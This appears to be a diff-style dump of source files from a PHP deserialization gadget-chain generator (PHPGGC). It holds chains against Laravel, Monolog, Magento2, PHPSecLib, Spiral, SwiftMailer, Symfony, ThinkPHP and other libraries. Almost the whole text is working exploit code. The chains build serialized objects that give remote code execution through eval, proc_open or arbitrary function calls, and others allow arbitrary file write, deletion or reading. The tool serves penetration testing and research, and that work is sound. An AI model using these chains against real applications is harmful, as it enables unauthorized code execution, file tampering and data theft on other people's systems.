50 $this->commands = [new \Illuminate\Foundation\AliasLoader()];
51 }
52 }
53 }
54
55 namespace Illuminate\Foundation{
56 class AliasLoader{
57 protected $aliases;
58
59 function __construct()
60 {
61 $this->aliases = ["key"];
62 }
63 }
64 }
65
66 namespace Illuminate\Cache{
67 class Repository{
68 protected $store;
69
70 function __construct($function,$paramter)
71 {
72 $this->store = new \PhpOption\LazyOption($function,$paramter);
73 }
74 }
75 }
76
77 namespace PhpOption{
78 class LazyOption{
79 private $option;
80 private $callback;
81 private $arguments;
82
83 function __construct($function,$paramter)
84 {
85 $this->callback = $function;
86 $this->arguments = [$paramter];
87 }
88 }
89 }
33
44 class RCE2 extends \PHPGGC\GadgetChain\RCE\FunctionCall
55 {
6 public static $version = '5.5.39';
6 public static $version = '5.4.0 <= 8.6.9+';
77 public static $vector = '__destruct';
88 public static $author = 'BlackFan';
99
33
44 class RCE3 extends \PHPGGC\GadgetChain\RCE\FunctionCall
55 {
6 public static $version = '5.5.39';
6 public static $version = '5.5.0 <= 5.8.35';
77 public static $vector = '__destruct';
88 public static $author = 'BlackFan';
99 public static $information = 'This chain triggers an ErrorException after code execution.';
33
44 class RCE4 extends \PHPGGC\GadgetChain\RCE\FunctionCall
55 {
6 public static $version = '5.5.39';
6 public static $version = '5.4.0 <= 8.6.9+';
77 public static $vector = '__destruct';
88 public static $author = 'BlackFan';
99
33
44 class RCE6 extends \PHPGGC\GadgetChain\RCE\PHPCode
55 {
6 public static $version = '5.5.*';
6 public static $version = '5.5.* <= 5.8.35';
77 public static $vector = '__destruct';
88 public static $author = 'Phith0n & holyvier';
99 public static $information = '
0 <?php
1
2 namespace GadgetChain\Laravel;
3
4 class RCE8 extends \PHPGGC\GadgetChain\RCE\FunctionCall
5 {
6 public static $version = '7.0.0 <= 8.6.9+';
7 public static $vector = '__destruct';
8 public static $author = 'abdilahrf & cr1f';
9 public static $information = 'Executes through eval()';
10
11
12 public function generate(array $parameters)
13 {
14 return new \GuzzleHttp\Cookie\FileCookieJar(
15 new \Illuminate\Validation\Rules\RequiredIf(
16 new \PhpOption\LazyOption($parameters['function'], [$parameters['parameter']])
17 )
18 );
19 }
20 }
0 <?php
1
2 namespace GuzzleHttp\Cookie
3 {
4 class FileCookieJar
5 {
6 private $filename;
7
8 public function __construct($r)
9 {
10 $this->filename = $r;
11 }
12 }
13 }
14
15 namespace Illuminate\Validation\Rules
16 {
17 class RequiredIf
18 {
19 public function __construct($p)
20 {
21 $this->condition = [$p, 'get'];
22 }
23 }
24 }
25
26 namespace PhpOption
27 {
28 final class LazyOption
29 {
30 private $callback;
31 private $arguments;
32
33 function __construct($callback, $arguments)
34 {
35 $this->callback = $callback;
36 $this->arguments = $arguments;
37 }
38 }
39 }
0 <?php
1
2 namespace GadgetChain\Laravel;
3
4 class RCE9 extends \PHPGGC\GadgetChain\RCE\FunctionCall
5 {
6 public static $version = '5.4.0 <= 9.1.8+';
7 public static $vector = '__destruct';
8 public static $author = '1nhann';
9
10
11 public function generate(array $parameters)
12 {
13 $function = $parameters['function'];
14 $param = $parameters['parameter'];
15
16 $dispatcher = new \Illuminate\Bus\Dispatcher($function);
17 $pendingBroadcast = new \Illuminate\Broadcasting\PendingBroadcast($dispatcher,$param);
18 return $pendingBroadcast;
19 }
20 }
0 <?php
1 namespace Illuminate\Contracts\Queue
2 {
3 interface ShouldQueue
4 {
5 }
6 }
7
8 namespace Illuminate\Bus
9 {
10 class Dispatcher
11 {
12 protected $container;
13 protected $pipeline;
14 protected $pipes = [];
15 protected $handlers = [];
16 protected $queueResolver;
17 function __construct($function)
18 {
19 $this->queueResolver = $function;
20
21 }
22 }
23 }
24
25 namespace Illuminate\Broadcasting
26 {
27 use Illuminate\Contracts\Queue\ShouldQueue;
28
29 class BroadcastEvent implements ShouldQueue
30 {
31 function __construct()
32 {
33
34 }
35 }
36
37 class PendingBroadcast
38 {
39 protected $events;
40 protected $event;
41
42 function __construct($dispatcher,$param)
43 {
44 $this->event = new BroadcastEvent();
45 $this->event->connection = $param;
46 $this->events = $dispatcher;
47 }
48 }
49 }
50
0 <?php
1
2 namespace GadgetChain\Magento2;
3
4 class FD1 extends \PHPGGC\GadgetChain\FileDelete
5 {
6 public static $version = '*';
7 public static $vector = '__destruct';
8 public static $author = 'Arjun Shibu (twitter.com/0xsegf)';
9 public static $information = 'Deletes a given file/directory in the installation dir';
10
11 public function generate(array $parameters)
12 {
13 $file = $parameters['remote_path'];
14
15 return new \Magento\RemoteStorage\Plugin\Image($file);
16 }
17 }
0 <?php
1
2 namespace Magento\Framework\Filesystem\Driver {
3 class File {}
4 }
5
6 namespace Magento\Framework\Filesystem\Directory {
7 class Write {
8 public function __construct() {
9 $this->driver = new \Magento\Framework\Filesystem\Driver\File();
10 }
11 }
12 }
13
14 namespace Magento\RemoteStorage\Plugin {
15 class Image {
16 public function __construct($file) {
17 $this->tmpDirectoryWrite = new \Magento\Framework\Filesystem\Directory\Write();
18 $this->tmpFiles = [$file];
19 }
20 }
21 }
0 <?php
1
2 namespace GadgetChain\Monolog;
3
4 class FW1 extends \PHPGGC\GadgetChain\FileWrite
5 {
6 public static $version = '3.0.0 <= 3.1.0+';
7 public static $vector = '__destruct';
8 public static $author = 'mir-hossein (Mirhossein Rahmani)';
9 public static $information = 'Please use this GC only for educational purposes or legal pentest, Thank you!';
10
11 public function generate(array $parameters)
12 {
13 $path = $parameters['remote_path'];
14 $data = $parameters['data'];
15
16 $data = preg_replace('/[\r\n]/', ' ', $data); // Replaces "\r\n" with a space
17
18 return new \Monolog\Handler\GroupHandler($data, $path);
19 }
20 }
0 <?php
1
2 namespace Monolog
3 {
4 enum Level: int
5 {
6 case Debug = 100;
7 }
8
9 class LogRecord
10 {
11 public Level $level = \Monolog\Level::Debug;
12 public string $message;
13 public \DateTimeImmutable $datetime;
14
15 function __construct($data)
16 {
17 $this->message = $data;
18 $this->datetime = new \DateTimeImmutable;
19 }
20 }
21 }
22
23 namespace Monolog\Handler
24 {
25 class DeduplicationHandler
26 {
27 protected string $deduplicationStore;
28 protected int $bufferSize = 1;
29 protected array $buffer;
30 protected \Monolog\Level $deduplicationLevel = \Monolog\Level::Debug;
31
32 public function __construct($data, $path)
33 {
34 $this->buffer = [new \Monolog\LogRecord($data)];
35 $this->deduplicationStore = $path;
36 }
37 }
38
39 class GroupHandler
40 {
41 protected array $handlers;
42
43 public function __construct($data, $path)
44 {
45 $this->handlers = [new \Monolog\Handler\DeduplicationHandler($data, $path)];
46 }
47 }
48 }
33
44 class RCE1 extends \PHPGGC\GadgetChain\RCE\FunctionCall
55 {
6 public static $version = '1.18 <= 2.1.1+';
6 public static $version = '1.4.1 <= 1.6.0 1.17.2 <= 2.7.0+';
77 public static $vector = '__destruct';
88 public static $author = 'cf';
99
2727 {
2828 $this->processors = $methods;
2929 $this->buffer = [$command];
30 $this->handler = clone $this;
30 $this->handler = $this;
3131 }
3232 }
33 }
33 }
33
44 class RCE2 extends \PHPGGC\GadgetChain\RCE\FunctionCall
55 {
6 public static $version = '1.5 <= 2.1.1+';
6 public static $version = '1.4.1 <= 2.7.0+';
77 public static $vector = '__destruct';
88 public static $author = 'cf';
99
2828 {
2929 $this->processors = $methods;
3030 $this->buffer = [$command];
31 $this->handler = clone $this;
31 $this->handler = $this;
3232 }
3333 }
34 }
34 }
0 <?php
1
2 namespace GadgetChain\Monolog;
3
4 class RCE5 extends \PHPGGC\GadgetChain\RCE\FunctionCall
5 {
6 public static $version = '1.25 <= 2.7.0+';
7 public static $vector = '__destruct';
8 public static $author = 'mayfly';
9
10 public function generate(array $parameters)
11 {
12 $function = $parameters['function'];
13 $parameter = $parameters['parameter'];
14 return new \Monolog\Handler\FingersCrossedHandler($parameter,
15 new \Monolog\Handler\GroupHandler($function)
16 );
17 }
18 }
0 <?php
1
2 namespace Monolog\Handler
3 {
4 // killchain :
5 // <abstract>__destruct() => <FingersCrossedHandler>close() => <FingersCrossedHandler>flushBuffer() => <GroupHandler>handleBatch($records)
6
7 class FingersCrossedHandler {
8 protected $passthruLevel;
9 protected $buffer = array();
10 protected $handler;
11
12 public function __construct($param, $handler)
13 {
14 $this->passthruLevel = 0;
15 $this->buffer = ['test' => [$param, 'level' => null]];
16 $this->handler = $handler;
17 }
18
19 }
20
21 class GroupHandler {
22 protected $processors = array();
23 public function __construct($function)
24 {
25 $this->processors = ['current', $function];
26 }
27
28 }
29 }
0 <?php
1
2 namespace GadgetChain\Monolog;
3
4 class RCE6 extends \PHPGGC\GadgetChain\RCE\FunctionCall
5 {
6 public static $version = '1.10.0 <= 2.7.0+';
7 public static $vector = '__destruct';
8 public static $author = 'mayfly';
9
10 public function generate(array $parameters)
11 {
12 $function = $parameters['function'];
13 $parameter = $parameters['parameter'];
14 return new \Monolog\Handler\FingersCrossedHandler($parameter,
15 new \Monolog\Handler\BufferHandler($function)
16 );
17 }
18 }
0 <?php
1
2 namespace Monolog\Handler
3 {
4 // killchain :
5 // <abstract>__destruct() => <FingersCrossedHandler>close() => <FingersCrossedHandler>flushBuffer() => <GroupHandler>handleBatch($records)
6
7 class FingersCrossedHandler {
8 protected $passthruLevel;
9 protected $buffer = array();
10 protected $handler;
11
12 public function __construct($param, $handler)
13 {
14 $this->passthruLevel = 0;
15 $this->buffer = ['test' => [$param, 'level' => null]];
16 $this->handler = $handler;
17 }
18
19 }
20
21 class BufferHandler
22 {
23 protected $handler;
24 protected $bufferSize = -1;
25 protected $buffer;
26 # ($record['level'] < $this->level) == false
27 protected $level = null;
28 protected $initialized = true;
29 # ($this->bufferLimit > 0 && $this->bufferSize === $this->bufferLimit) == false
30 protected $bufferLimit = -1;
31 protected $processors;
32
33 function __construct($function)
34 {
35 $this->processors = ['current', $function];
36 }
37 }
38
39 }
0 <?php
1
2 namespace GadgetChain\Monolog;
3
4 class RCE7 extends \PHPGGC\GadgetChain\RCE\FunctionCall
5 {
6 public static $version = '1.10.0 <= 2.7.0+';
7 public static $vector = '__destruct';
8 public static $author = 'mir-hossein';
9 public static $information = 'Please use this exploit only for educational purposes or legal pentest, thank you!';
10
11 public function generate(array $parameters)
12 {
13 $function = $parameters['function'];
14 $parameter = $parameters['parameter'];
15
16 return new \Monolog\Handler\FingersCrossedHandler(
17 ['pos', $function], // pos() is an alias of current() function, but it's shorter :-)
18 [$parameter, 'level' => 0]
19 );
20 }
21 }
0 <?php
1 namespace Monolog\Handler
2 {
3 class FingersCrossedHandler
4 {
5 protected $passthruLevel = 0;
6 protected $handler;
7 protected $buffer;
8 protected $processors;
9
10 function __construct($methods,$command)
11 {
12 $this->processors = $methods;
13 $this->buffer = [$command];
14 $this->handler = $this;
15 }
16 }
17 }
0 <?php
1
2 namespace GadgetChain\Monolog;
3
4 class RCE8 extends \PHPGGC\GadgetChain\RCE\FunctionCall
5 {
6 public static $version = '3.0.0 <= 3.1.0+';
7 public static $vector = '__destruct';
8 public static $author = 'cf (Charles Fol), mir-hossein (Mirhossein Rahmani)';
9 public static $information = 'Please use this exploit only for educational purposes or legal pentest, Thank you!';
10
11 public function generate(array $parameters)
12 {
13 $function = $parameters['function'];
14 $parameter = $parameters['parameter'];
15
16 return new \Monolog\Handler\GroupHandler($function, $parameter);
17 }
18 }
0 <?php
1
2 namespace Monolog
3 {
4 enum Level: int
5 {
6 case Debug = 100;
7 }
8
9 class LogRecord
10 {
11 public Level $level;
12 public mixed $formatted;
13
14 function __construct($parameter)
15 {
16 $this->level = \Monolog\Level::Debug;
17 $this->mixed = $parameter;
18 }
19 }
20 }
21
22 namespace Monolog\Handler
23 {
24 class GroupHandler
25 {
26 protected array $handlers;
27
28 public function __construct($function, $parameter)
29 {
30 $this->handlers = [new \Monolog\Handler\BufferHandler($function, $parameter)];
31 }
32 }
33
34 class BufferHandler
35 {
36 protected $handler;
37 protected int $bufferSize = 1;
38 protected int $bufferLimit = 0;
39 protected array $buffer;
40 protected bool $initialized = true;
41 protected array $processors;
42
43 public function __construct($function, $parameter)
44 {
45 $this->handler = $this;
46 $this->buffer = [new \Monolog\LogRecord($parameter)];
47 $this->processors = ['get_object_vars', 'end', $function];
48 }
49 }
50 }
0 <?php
1
2 namespace GadgetChain\Monolog;
3
4 class RCE9 extends \PHPGGC\GadgetChain\RCE\FunctionCall
5 {
6 public static $version = '3.0.0 <= 3.1.0+';
7 public static $vector = '__destruct';
8 public static $author = 'mir-hossein (Mirhossein Rahmani)';
9 public static $information = 'Please use this exploit only for educational purposes or legal pentest, Thank you!';
10
11 public function generate(array $parameters)
12 {
13 $function = $parameters['function'];
14 $parameter = $parameters['parameter'];
15
16 return new \Monolog\Handler\FingersCrossedHandler($function, $parameter);
17 }
18 }
0 <?php
1
2 namespace Monolog\Handler
3 {
4 class FingersCrossedHandler
5 {
6 protected $passthruLevel = \Monolog\Level::Debug;
7 protected $handler;
8 protected $buffer;
9 protected $processors;
10
11 function __construct($function, $parameter)
12 {
13 $this->processors = ['get_object_vars', 'end', $function];
14 $this->buffer = [new \Monolog\LogRecord($parameter)];
15 $this->handler = $this;
16 }
17 }
18 }
19
20 namespace Monolog
21 {
22 enum Level: int
23 {
24 case Debug = 100;
25 }
26
27 class LogRecord
28 {
29 public Level $level = \Monolog\Level::Debug;
30 public mixed $formatted;
31
32 function __construct($parameter)
33 {
34 $this->mixed = $parameter;
35 }
36 }
37 }
88
99 public function generate(array $parameters)
1010 {
11 $remote_file = $parameters["remote_file"];
11 $remote_path = $parameters["remote_path"];
1212
13 return new \PhpCsFixer\FileRemoval($remote_file);
13 return new \PhpCsFixer\FileRemoval($remote_path);
1414 }
1515 }
1616
55 class FileRemoval
66 {
77
8 function __construct($remote_file)
8 function __construct($remote_path)
99 {
10 $this->files = [$remote_file => $remote_file];
10 $this->files = [$remote_path => $remote_path];
1111
1212 }
1313
99
1010 public function generate(array $parameters)
1111 {
12 $remote_file = $parameters["remote_file"];
12 $remote_path = $parameters["remote_path"];
1313
14 return new \PhpCsFixer\Linter\ProcessLinter($remote_file);
14 return new \PhpCsFixer\Linter\ProcessLinter($remote_path);
1515 }
1616 }
44 class ProcessLinter
55 {
66
7 function __construct($remote_file)
7 function __construct($remote_path)
88 {
9 $this->temporaryFile = $remote_file;
9 $this->temporaryFile = $remote_path;
1010 $this->fileRemoval = new \PhpCsFixer\FileRemoval();
1111
1212 }
99
1010 public function generate(array $parameters)
1111 {
12 return new \PHPExcel_CachedObjectStorage_DiscISAM($parameters['remote_file']);
12 return new \PHPExcel_CachedObjectStorage_DiscISAM($parameters['remote_path']);
1313 }
1414 }
99
1010 public function generate(array $parameters)
1111 {
12 return new \PHPExcel_CachedObjectStorage_DiscISAM($parameters['remote_file']);
12 return new \PHPExcel_CachedObjectStorage_DiscISAM($parameters['remote_path']);
1313 }
1414 }
99
1010 public function generate(array $parameters)
1111 {
12 return new \PHPExcel_Shared_XMLWriter($parameters['remote_file']);
12 return new \PHPExcel_Shared_XMLWriter($parameters['remote_path']);
1313 }
1414 }
99
1010 public function generate(array $parameters)
1111 {
12 return new \PHPExcel_Shared_XMLWriter($parameters['remote_file']);
12 return new \PHPExcel_Shared_XMLWriter($parameters['remote_path']);
1313 }
1414 }
0 <?php
1
2 namespace GadgetChain\PHPSecLib;
3
4 class RCE1 extends \PHPGGC\GadgetChain\RCE\PHPCode
5 {
6 public static $version = '2.0.0 <= 2.0.34';
7 public static $vector = '__destruct';
8 public static $author = 'crlf';
9 public static $information = 'Generates warnings and notices.';
10
11 public function generate(array $parameters)
12 {
13 $code = $parameters['code'];
14
15 return [
16 new \phpseclib\Net\SSH1(
17 new \phpseclib\Crypt\AES(
18 new \phpseclib\Crypt\TripleDES($code)
19 )
20 )
21 ];
22 }
23 }
0 <?php
1
2 namespace phpseclib\Net
3 {
4 class SSH1
5 {
6 var $bitmap = 1;
7 var $crypto;
8 public function __construct($a)
9 {
10 $this->crypto = $a;
11 }
12 }
13 }
14
15 namespace phpseclib\Crypt
16 {
17 class Base
18 {
19 var $block_size;
20 var $inline_crypt;
21 var $use_inline_crypt = 1;
22 var $changed = 0;
23 var $engine = 1;
24 var $mode = 1;
25
26 public function __construct($t)
27 {
28 if (strpos(get_class($this), 'AES'))
29 $this->inline_crypt = [$t, '_createInlineCryptFunction'];
30 else
31 $this->block_size = '1){}}}; ob_clean();' . $t . 'die(); ?>';
32 }
33 }
34
35 class AES extends Base
36 {
37 var $bitmap = 1;
38 var $crypto = 1;
39 }
40
41 class TripleDES extends Base
42 {
43 }
44 }
1818 {
1919 return new \Phalcon\Logger\Adapter\File();
2020 }
21
22 public function test_setup()
23 {
24 throw new \PHPGGC\Exception("This GC cannot be tested.");
25 }
2126 }
0 <?php
1
2 namespace GadgetChain\Phing;
3
4 class FD1 extends \PHPGGC\GadgetChain\FileDelete
5 {
6 public static $version = '2.6.0 <= 3.0.0a3';
7 public static $vector = '__destruct';
8 public static $author = 'CyanM0un';
9
10 public function generate(array $parameters)
11 {
12 return new \WikiPublishTask($parameters['remote_path']);
13 }
14 }
0 <?php
1 class WikiPublishTask
2 {
3 private $cookiesFile;
4
5 function __construct($path)
6 {
7 $this->cookiesFile = $path;
8 }
9 }
77 public static $vector = '__destruct';
88 public static $author = 'd3adc0de';
99 public static $parameters = [
10 'remote_file'
10 'remote_path'
1111 ];
1212
1313 public function generate(array $parameters)
1414 {
15 return new \Smarty_Internal_Template($parameters['remote_file']);
15 return new \Smarty_Internal_Template($parameters['remote_path']);
1616 }
1717 }
0 <?php
1
2 namespace GadgetChain\Spiral;
3
4 class RCE1 extends \PHPGGC\GadgetChain\RCE\FunctionCall
5 {
6 public static $version = '2.7.0 <= 2.8.13';
7 public static $vector = '__destruct';
8 public static $author = 'CyanM0un';
9
10 public function generate(array $parameters)
11 {
12 $function = $parameters['function'];
13 $parameter = $parameters['parameter'];
14
15 return new \Monolog\Handler\RotatingFileHandler($function,$parameter);
16 }
17 }
0 <?php
1
2 namespace Monolog\Handler
3 {
4 class RotatingFileHandler
5 {
6 protected $mustRotate;
7 protected $filename;
8 protected $filenameFormat;
9 protected $dateFormat;
10
11 function __construct($function,$param)
12 {
13 $this->dateFormat = "l";
14 $this->mustRotate = true;
15 $this->filename = "anything";
16 $this->filenameFormat = new \Spiral\Reactor\FileDeclaration($function,$param);
17 }
18 }
19 }
20
21 namespace Spiral\Reactor
22 {
23 class FileDeclaration
24 {
25 private $docComment;
26
27 public function __construct($function,$parameter)
28 {
29 $this->docComment = new \PhpOption\LazyOption($function,$parameter);
30 }
31 }
32 }
33
34 namespace PhpOption
35 {
36 class LazyOption
37 {
38 private $callback;
39 private $arguments;
40
41 public function __construct($function,$parameter)
42 {
43 $this->callback = $function;
44 $this->arguments = [$parameter];
45 }
46 }
47 }
0 <?php
1
2 namespace GadgetChain\Spiral;
3
4 class RCE2 extends \PHPGGC\GadgetChain\RCE\FunctionCall
5 {
6 public static $version = '-2.8+';
7 public static $vector = '__destruct';
8 public static $author = 'CyanM0un';
9 public static $information = 'execute the function and throw an error';
10
11 public function generate(array $parameters)
12 {
13 $function = $parameters['function'];
14 $parameter = $parameters['parameter'];
15
16 return new \App\App($function,$parameter);
17 }
18 }
0 <?php
1
2 namespace App
3 {
4 class App
5 {
6 protected $finalizer;
7
8 function __construct($function,$param)
9 {
10 $this->finalizer = new \Spiral\Boot\Finalizer($function,$param);
11 }
12 }
13 }
14
15 namespace Spiral\Boot
16 {
17 class Finalizer
18 {
19 private $finalizers;
20
21 function __construct($function,$param)
22 {
23 $this->finalizers = [[new \PhpOption\LazyOption($function,$param),"get"]];
24 }
25 }
26 }
27
28 namespace PhpOption
29 {
30 class LazyOption
31 {
32 private $callback;
33 private $arguments;
34
35 public function __construct($function,$parameter)
36 {
37 $this->callback = $function;
38 $this->arguments = [$parameter];
39 }
40 }
41 }
99
1010 public function generate(array $parameters)
1111 {
12 return new \Swift_ByteStream_TemporaryFileByteStream($parameters['remote_file']);
12 return new \Swift_ByteStream_TemporaryFileByteStream($parameters['remote_path']);
1313 }
1414 }
0 <?php
1
2 namespace GadgetChain\SwiftMailer;
3
4 class FD2 extends \PHPGGC\GadgetChain\FileDelete
5 {
6 public static $version = '5.4.6 <= 5.x-dev';
7 public static $vector = '__destruct';
8 public static $author = 'CyanM0un';
9 public static $information = 'the path should be in the form of "path/filename"';
10
11 public function generate(array $parameters)
12 {
13 return new \Swift_Image($parameters['remote_path']);
14 }
15 }
0 <?php
1
2 class Swift_Image
3 {
4 private $_cache;
5 private $_cacheKey;
6
7 public function __construct($path)
8 {
9 $path_a = explode("/", $path);
10 $this->_cacheKey = $path_a[count($path_a) - 2];
11 $pre_index = strripos($path, "/");
12 $pre = substr($path, 0, $pre_index - strlen($this->_cacheKey) - 1);
13
14 $this->_cache = new Swift_KeyCache_DiskKeyCache(
15 $pre, $path_a[count($path_a) - 2], $path_a[count($path_a) - 1]
16 );
17 }
18 }
19
20 class Swift_KeyCache_DiskKeyCache
21 {
22 private $_path;
23 private $_keys;
24
25 public function __construct($pre_path, $path, $filename)
26 {
27 $this->_path = $pre_path;
28 $this->_keys = [$path => [$filename => '']];
29 }
30 }
0 <?php
1
2 namespace GadgetChain\SwiftMailer;
3
4 class FR1 extends \PHPGGC\GadgetChain\FileRead
5 {
6 public static $version = '6.0.0 <= 6.3.0';
7 public static $vector = '__toString';
8 public static $author = 'CyanM0un';
9
10 public function generate(array $parameters)
11 {
12 return new \Swift_EmbeddedFile($parameters['remote_path']);
13 }
14 }
0 <?php
1
2 class Swift_Mime_SimpleMimeEntity
3 {
4 private $headers;
5 private $body;
6 private $cache;
7 private $encoder;
8 private $maxLineLength;
9 private $cacheKey;
10
11 public function __construct($path)
12 {
13 $this->headers = new Swift_Mime_Headers_OpenDKIMHeader();
14 $this->body = new Swift_ByteStream_FileByteStream($path);
15 $this->cache = new Swift_KeyCache_ArrayKeyCache();
16 $this->encoder = new Swift_Mime_ContentEncoder_PlainContentEncoder();
17 $this->cacheKey = "anykey";
18 $this->maxLineLength = 100;
19 }
20 }
21
22 class Swift_EmbeddedFile extends Swift_Mime_SimpleMimeEntity
23 {
24 public function __construct($path)
25 {
26 parent::__construct($path);
27 }
28 }
29
30 class Swift_Mime_Headers_OpenDKIMHeader
31 {
32 private $fieldName;
33
34 function __construct()
35 {
36 $this->fieldName = "any";
37 }
38 }
39
40 class Swift_KeyCache_ArrayKeyCache
41 {
42 }
43
44 class Swift_Mime_ContentEncoder_PlainContentEncoder
45 {
46 private $canonical = true;
47 }
48
49 class Swift_ByteStream_FileByteStream
50 {
51 private $path;
52
53 function __construct($path)
54 {
55 $this->path = $path;
56 }
57 }
0 <?php
1
2 namespace GadgetChain\Symfony;
3
4 class RCE5 extends \PHPGGC\GadgetChain\RCE\FunctionCall
5 {
6 public static $version = '5.2.*';
7 public static $vector = '__destruct';
8 public static $author = 'byc_404';
9
10 public function generate(array $parameters)
11 {
12 $function = $parameters['function'];
13 $parameter = $parameters['parameter'];
14
15
16 return new \Symfony\Component\HttpKernel\DataCollector\DumpDataCollector($function, $parameter);
17 }
18 }
0 <?php
1
2 namespace Symfony\Component\Cache\Adapter
3 {
4 class ProxyAdapter
5 {
6 private $createCacheItem;
7 private $namespace;
8 private $pool;
9
10 public function __construct($createCacheItem, $pool)
11 {
12 $this->createCacheItem = $createCacheItem;
13 $this->pool = $pool;
14 $this->namespace = '';
15 }
16 }
17
18
19 class NullAdapter
20 {
21 private $createCacheItem;
22
23 public function __construct($createCacheItem)
24 {
25 $this->createCacheItem = $createCacheItem;
26 }
27 }
28 }
29
30 namespace Symfony\Component\Console\Helper
31 {
32 class Dumper
33 {
34 private $handler;
35
36 public function __construct($handler)
37 {
38 $this->handler = $handler;
39 }
40 }
41 }
42
43
44 namespace Symfony\Component\Cache\Traits
45 {
46 class RedisProxy
47 {
48 private $redis;
49 private $initializer;
50
51 public function __construct($initializer, $redis)
52 {
53 $this->initializer = $initializer;
54 $this->redis = $redis;
55 }
56 }
57 }
58
59 namespace Symfony\Component\Form
60 {
61
62 class FormErrorIterator
63 {
64 public $form;
65 private $errors;
66
67 function __construct($errors, $form)
68 {
69 $this->errors = $errors;
70 $this->form = $form;
71 }
72 }
73 }
74
75
76 namespace Symfony\Component\HttpKernel\DataCollector
77 {
78 class DumpDataCollector
79 {
80 protected $data;
81 private $stopwatch;
82 private $fileLinkFormat;
83 private $dataCount = 0;
84 private $isCollected = false;
85 private $clonesCount = 0;
86 private $clonesIndex = 0;
87
88 public function __construct($function, $command)
89 {
90 $this->data = [
91 [
92 "data" => "1",
93 "name" => new \Symfony\Component\Form\FormErrorIterator([
94 new \Symfony\Component\Form\FormErrorIterator(
95 [],
96 new \Symfony\Component\Cache\Traits\RedisProxy(
97 new \Symfony\Component\Console\Helper\Dumper([
98 new \Symfony\Component\Cache\Adapter\ProxyAdapter(
99 'dd', // exit function
100 new \Symfony\Component\Cache\Adapter\NullAdapter($function)
101 ),
102 "getItem"
103 ]),
104 $command
105 )
106 )],
107 null
108 ),
109 "file" => "3",
110 "line" => "4"
111 ],
112 null,
113 null
114 ];
115 }
116 }
117 }
0 <?php
1
2 namespace GadgetChain\Symfony;
3
4 class RCE6 extends \PHPGGC\GadgetChain\RCE\Command
5 {
6 public static $version = 'v3.4.0-BETA4 <= v3.4.49 & v4.0.0-BETA4 <= v4.1.13';
7 public static $vector = '__destruct';
8 public static $author = 'CyanM0un';
9 public static $information = 'Executes given command through proc_open()';
10
11 public function generate(array $parameters)
12 {
13 $command = $parameters['command'];
14
15 return new \Symfony\Component\Routing\Loader\Configurator\ImportConfigurator(
16 $command
17 );
18 }
19 }
0 <?php
1 namespace Symfony\Component\Routing\Loader\Configurator
2 {
3 class ImportConfigurator
4 {
5 private $parent;
6
7 function __construct($cmd)
8 {
9 $this->parent = new \Symfony\Component\Cache\Traits\RedisProxy($cmd);
10 }
11 }
12 }
13
14 namespace Symfony\Component\Cache\Traits
15 {
16 class RedisProxy
17 {
18 private $initializer;
19 private $redis;
20
21 function __construct($cmd)
22 {
23 $this->initializer = new \Symfony\Component\DependencyInjection\Loader\Configurator\InstanceofConfigurator($cmd);
24 $this->redis = $cmd;
25 }
26 }
27 }
28
29 namespace Symfony\Component\DependencyInjection\Loader\Configurator
30 {
31 class InstanceofConfigurator
32 {
33 protected $parent;
34
35 function __construct($cmd)
36 {
37 $this->parent = new \Symfony\Component\Cache\Simple\Psr6Cache($cmd);
38 }
39
40 }
41 }
42
43 namespace Symfony\Component\Cache\Simple
44 {
45 class Psr6Cache
46 {
47 private $pool;
48
49 function __construct($cmd)
50 {
51 $this->pool = new \Symfony\Component\Cache\Adapter\PhpArrayAdapter($cmd);
52 }
53
54 }
55 }
56
57 namespace Symfony\Component\Cache\Adapter
58 {
59 class PhpArrayAdapter
60 {
61 private $values;
62 private $createCacheItem;
63
64 function __construct($cmd)
65 {
66 $this->values = array($cmd=>[]);
67 $this->createCacheItem = "proc_open";
68 }
69 }
70 }
1313
1414 public function generate(array $parameters)
1515 {
16 $file = $parameters['remote_file'];
16 $file = $parameters['remote_path'];
1717
1818 return new \TCPDF(
1919 $file
22 class TCPDF {
33 protected $imagekeys;
44
5 function __construct($remote_file) {
5 function __construct($remote_path) {
66 $this->imagekeys = [
7 $remote_file
7 $remote_path
88 ];
99 }
1010 }
0 <?php
1
2 namespace GadgetChain\ThinkPHP;
3
4 class FW1 extends \PHPGGC\GadgetChain\FileWrite
5 {
6 public static $version = '5.0.4-5.0.24';
7 public static $vector = '__destruct';
8 public static $author = 'zcy2018';
9 public static $information = '
10 We do not have full control of the path. Also, the path will turn to
11 a long hex value(md5). Your file path will be REMOTE_PATH/3b58a9545013e88c7186db11bb158c44.php.
12 Tested on Windows with php7.3.4 and apache2.4.39.
13 ';
14
15 public function generate(array $parameters)
16 {
17 # The payload string will get serialized before it gets written to the
18 # base64-decode stream, so we need to be careful about the length.
19 # e.g. s:100:"AAAA...."; will not decode the same as s:10:"AAA...";
20 $path = $parameters['remote_path'];
21 $data = base64_encode($parameters['data']);
22 $data = preg_replace('/=/','+', $data);
23
24 $length = strlen('<query>' . $data . '</query>');
25
26 if($length > 100000)
27 throw new \PHPGGC\Exception('Payload too big !');
28
29 $log = (int) log10($length);
30 $prefix = str_repeat('A', 4 - $log);
31 $data = $prefix . $data;
32
33 return new \think\Process($path, $data);
34 }
35 }
0 <?php
1
2 namespace think
3 {
4 use think\model\relation\HasMany;
5
6 class Process
7 {
8 private $processPipes;
9 private $status = 3;
10 private $processInformation = ['running' => true];
11
12 public function __construct($path, $data)
13 {
14 $this->processPipes = new HasMany($path, $data);
15 }
16 }
17
18 class Model
19 {
20 }
21 }
22
23
24 namespace think\model
25 {
26 use think\Model;
27
28 class Merge extends Model
29 {
30 public $a = '1';
31
32 public function __construct()
33 {
34 }
35 }
36
37 class Relation
38 {
39 protected $query;
40 }
41 }
42
43
44 namespace think\model\relation
45 {
46 use think\console\Output;
47 use think\model\Merge;
48 use think\model\Relation;
49
50 class HasMany extends Relation
51 {
52 protected $parent;
53 protected $localKey = 'a';
54 protected $pivot;
55 protected $foreignKey;
56
57 public function __construct($path, $data)
58 {
59 $this->foreignKey = $data;
60 $this->query = new Output($path, $data);
61 $this->parent = new Merge();
62 }
63 }
64 }
65
66
67 namespace think\db
68 {
69 class Query
70 {
71 }
72 }
73
74
75 namespace think\console
76 {
77 class Output
78 {
79 protected $styles = [
80 'where'
81 ];
82 private $handle;
83
84 public function __construct($path, $data)
85 {
86 $this->handle = new \think\session\driver\Memcache($path, $data);
87 }
88 }
89 }
90
91
92 namespace think\session\driver
93 {
94 class Memcache
95 {
96 protected $handler;
97
98 public function __construct($path, $data)
99 {
100 $this->handler = new \think\cache\driver\Memcached($path, $data);
101 }
102 }
103 }
104
105
106 namespace think\cache\driver
107 {
